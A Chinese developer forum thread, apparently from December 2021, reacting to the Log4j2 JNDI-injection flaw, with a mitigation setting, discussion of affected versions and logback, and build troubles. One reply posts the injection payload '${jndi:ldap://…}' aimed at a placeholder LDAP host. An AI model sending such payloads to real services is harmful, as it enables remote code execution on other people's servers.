漏洞预警: https://mp.weixin.qq.com/s/WBbAthHY36qY0w9e4UUl4Q
本质上是 log4j 里的 lookup 方法存在 jndi 注入(看图): https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/20211210091200YOXTYd.jpg
百度、谷歌、苹果的框全都沦陷了: https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/202112100913225Wncr7.png
修复措施: 在 log4j2.component.properties 配置文件中设置 log4j2.formatMsgNoLookups=true ,可以暂时缓解避免受漏洞的影响。
之所以是史诗级,是因为不仅 log4j 使用范围广,而且日志数据你不知道流到哪里的 log4j 就会触发
1
pigspy 165 天前
还是转向 logback 吧
|
![]() |
2
eviladan0s OP 这个漏洞本不应该被直接公布的,但利用过于简单,昨晚成了脚本小子的狂欢
|
3
midasfree 165 天前
这周值班一大早被呼起来屏蔽这个问题 绝了(╯°□°)╯︵ ┻━┻
|
![]() |
4
Philosophy6 165 天前 ![]() 全线服务全都是 log4j2 ,GG
|
![]() |
5
hanssx 165 天前
这危害也太大了,老哥有原文吗?求分享
|
6
buliugu 165 天前
还好用的 logback
|
![]() |
7
sagaxu 165 天前 via Android
昨天美团崩溃也是因为这个?
|
8
Archeb 165 天前
别慌,只有低版本能盲打,高版本没那么好利用。看着吓人也只是 dnslog 而已
|
![]() |
10
eviladan0s OP 还有,许多知名组件也用到了 log4j ,如 Apache Struts2 ,Apache Solr ,Apache Flink ,Apache Druid 等等
|
![]() |
11
iold 165 天前
看了一下公司的屎山。还好只有官网是 Java ,log4j 还是远古版本,不知道升上来会带来哪些副作用...
|
![]() |
12
eviladan0s OP @Archeb 是的,高版本 jdk 默认禁用了远程加载,需要寻找本地 Gadget
|
![]() |
13
sagaxu 165 天前 via Android
只有写在 format string 里才能触发,作为参数传入则不会。而我们一般不会直接把日志内容写到 format string 中,所以不必慌。
|
![]() |
14
cedoo22 165 天前
还在用 log4j 1
|
![]() |
15
iold 165 天前 ![]() 仔细看了一下,屎山用的远古版本不受影响,美滋滋。
|
![]() |
16
zhouyou457 165 天前
绝望的打出 GG
|
17
qq1340691923 165 天前
之前服务器上是 java 程序在跑,腾讯云每隔一段时间就告警我们 jar 包有安全风险,需要升级,不然就停止服务,折腾几次后,我们换了 golang ,后面就没这个烦恼了
|
![]() |
18
gadfly3173 165 天前
@qq1340691923 #17 艹 这不只是让腾讯云没法检测而已嘛。。。
|
![]() |
19
itechnology 165 天前
还好用的 spring boot 自带的 logback
|
![]() |
20
gadfly3173 165 天前
@itechnology #19 spring boot 自带 log4j 版本是 2.14.1
|
![]() |
21
cheng6563 165 天前
看了下公司项目,屎山都是 log4j1 ,新一点的都是 slf4j 了,没用到 log4j2
|
![]() |
22
zmxnv123 165 天前
比较奇怪,为什么搜不到英语报道
|
25
aababc 165 天前 ![]() @qq1340691923 这个只是把问题掩盖了,并不是说 go 的程序就一定安全呀!
|
![]() |
26
tabris17 165 天前
用老版本反而躲过一劫
|
29
jwh199588 165 天前
有人复现了吗
|
![]() |
30
KevinBlandy 165 天前
幸好是内网应用,根本不慌。
|
![]() |
31
bipy 165 天前
哈人
|
![]() |
32
supuwoerc 165 天前
|
![]() |
35
wanguorui123 165 天前
${jndi:ldap://xxxxx.xxxx.xxxx/xxxxxx}
|
36
lindas 165 天前
项目用的 elasticsearch 里面的 log4j 版本刚好在范围内,好在是内网
|
![]() |
37
kernelpanic 165 天前
哈哈哈哈哈苹果到现在还没修复
|
38
aguesuka 165 天前
太离谱了, 这是一个日志框架不该出现的 bug. 也许正确的应对方法不是升级或是改什么配置, 而是不要使用 log4j2 和这个作者开发的其他框架.
|
![]() |
40
Crystal8899 165 天前 ![]() @aguesuka “这个作者”??
|
![]() |
41
jsjjdzg 165 天前
logback 依赖不是 slf4j 嘛?还是 slf4j 底层是用 log4j 实现的?
|
![]() |
42
legendORld 165 天前
已经把文章发到群里面了,让公司大佬们处理吧
|
44
youxiachai 165 天前
按道理... 这个默认不是关的吗...
|
![]() |
45
kernelpanic 165 天前
linkedin 也没修复
|
![]() |
46
zxCoder 165 天前
写个日志都不安全,牛逼啊
|
51
encounter2017 164 天前
@conhost https://mvnrepository.com/artifact/ch.qos.logback/logback-classic/1.2.7
不是吧,测试有依赖的 log4j1 ,编译没有依赖 |
52
leiuu 164 天前
颤抖吧...
|
56
chawuchiren 164 天前
怎么升级呢,最新的 log4j 2.15.0 ,有一个包需要 jdk9 。 我们还在用 jdk8
|
![]() |
58
Jwyt 164 天前
@chawuchiren 顺便把 jdk 也升了(
|
59
kappa 164 天前
@zmxnv123 HN 热贴了还叫没报道? https://news.ycombinator.com/item?id=29504755
|
![]() |
60
Nich0la5 164 天前
笑死 我们手忙脚乱查了一遍得出结论,log4j 版本太低,没这个漏洞
|
![]() |
61
kernelpanic 164 天前
苹果还没修复, 不知道服务器上弹出多少个计算器了
|
62
uSy62nMkdH 164 天前
小团体的群里,大厂的小伙伴是连夜修复,我们公司白天没人提,发到群里了没激起一点水花~
|
63
James369 164 天前
什么叫稳,版本越老反而越稳,哈哈
|
64
aguesuka 164 天前 ![]() @ohwind I try to follow a rule with libraries: if a library causes more trouble than the implementation effort it would take to recreate its functionality from scratch (or rather, the portion of its funcitonality that is used in practice), then it's time to purge that library from projects and never use it again.
The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level. This is very quick and easy to write. A library in this role should have zero RCEs, ever in its entire lifetime, or it is unfit for purpose. 这不是我一个人的 idea |
![]() |
65
ipuhua 164 天前
Windows 漏洞有多少?大家都不要用微软了, 颤抖吧
|
![]() |
66
Seayon 164 天前
怎么才能学习复现一下 有没有指点一下路子的
|
67
soulzz 164 天前
log4j2.formatMsgNoLookups=true
|
![]() |
69
feelinglucky 164 天前
@buliugu 我记得 logback 默认依赖 log4j 的吧,虽然可以换引擎
|
![]() |
70
pofycn 164 天前 via Android
现在上线了 RC2 可以暂时修复 但是可能还会被绕过
|
![]() |
72
NULL2020 164 天前
log4j github 仓库下载下来解压怎么是源码啊,还得自己编译打包成 jar ?
|
![]() |
73
Bromine0x23 164 天前 ![]() 纯云
logback 只是测试依赖用有到 log4j ,应该不受影响。 spring-boot-starter-logging 通过 log4j-to-slf4j 间接引入了 log4j-api ,只是接口层,应该也不受影响。 |
![]() |
74
Jwyt 164 天前
@feelinglucky 。。。你记错了吧
|
75
podel 164 天前
终于知道苹果的登录为什么这么慢了。
因为每一次登录请求,都会在美国的服务器上跑程序。 |
![]() |
76
gadfly3173 164 天前
@NULL2020 #72 是的 因为还没正式发布
|
![]() |
77
pengtdyd 164 天前
fastjson 确实挺好用的,我个人觉的源码写的很乱,动不动就爆漏洞,阿里的东西真的要慎用!
|
78
Lemeng 164 天前
生活不能太平静,网络也一样,哈哈
|
![]() |
79
cholerae 164 天前
java 怎么总能搞出点新花样。fastjson 一个序列化库能搞出来 rce ,log4j2 一个日志库也能搞出来 rce
|
![]() |
80
masterclock 164 天前
感觉 JAVA 因其强大,它的库总是倾向于做得多,内部搞点魔法,用起来方便;然后代码多了就容易出问题。
|
81
littlewing 164 天前
@aguesuka intel 的 CPU 也有漏洞,建议也别用了
|
82
aguesuka 164 天前
@littlewing 滑坡谬误, 看 64 楼
|
![]() |
83
iold 164 天前
@Mithril #71 是的,后续已经确认 1.x 也受影响,而且 1.x 已经结束生命周期了。哎,非 Java boy, 难受啊,这么大的跨度,肯定不是升级个依赖就能解决的。
|
84
justs0o 164 天前 ![]() rc2 也影响
|
![]() |
85
MoYi123 164 天前
@littlewing 虽然 log4j 性能很好,水平很高, 但是就单单打个日志的功能我觉得以大多数人的水平都能做个勉强能用的出来, ,至于上面的 windows 和 CPU,我反正是做不了.
|
![]() |
86
pengtdyd 164 天前
颤抖个啥,这不是又有收维护费的理由了嘛
|
87
justs0o 164 天前
CORRECTION: log4j 1.x contains a JMS Appender which can use JNDI. So I would say that, yes, log4j 1.x is also impacted by this vulnerability
|
![]() |
88
ZeroDu 164 天前
上面看你们一顿乱说,也没人贴怎么复现啊
|
![]() |
89
EPr2hh6LADQWqRVH 164 天前 ![]() 服务器设置 cron job 每 30 秒运行 killall java , 防微杜渐。
|
![]() |
90
manami 164 天前
内网应用不慌
|
![]() |
92
joshuacavell 164 天前
现在 1.x 也受影响了,而且不给升级
https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126 |
93
RainyH2O 164 天前 ![]() 泥潭也有那么多人分不清日志接口框架和日志实现框架的区别么?
|
![]() |
94
aaa5838769 164 天前
logging-log4j2-log4j-2.15.0-rc2.tar.gz
你们是如何编译成功的,用的这个./mvnw clean package -DskipTest 命令,提示 [Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:1.1:toolchain (default) on project log4j-api-java9] jdk 版本是 17 |
![]() |
95
NULL2020 164 天前
|
![]() |
98
wangdashuai 164 天前
我把 java9 相关的全部删了
|
99
tqyq88 164 天前
System.out.println 保平安
|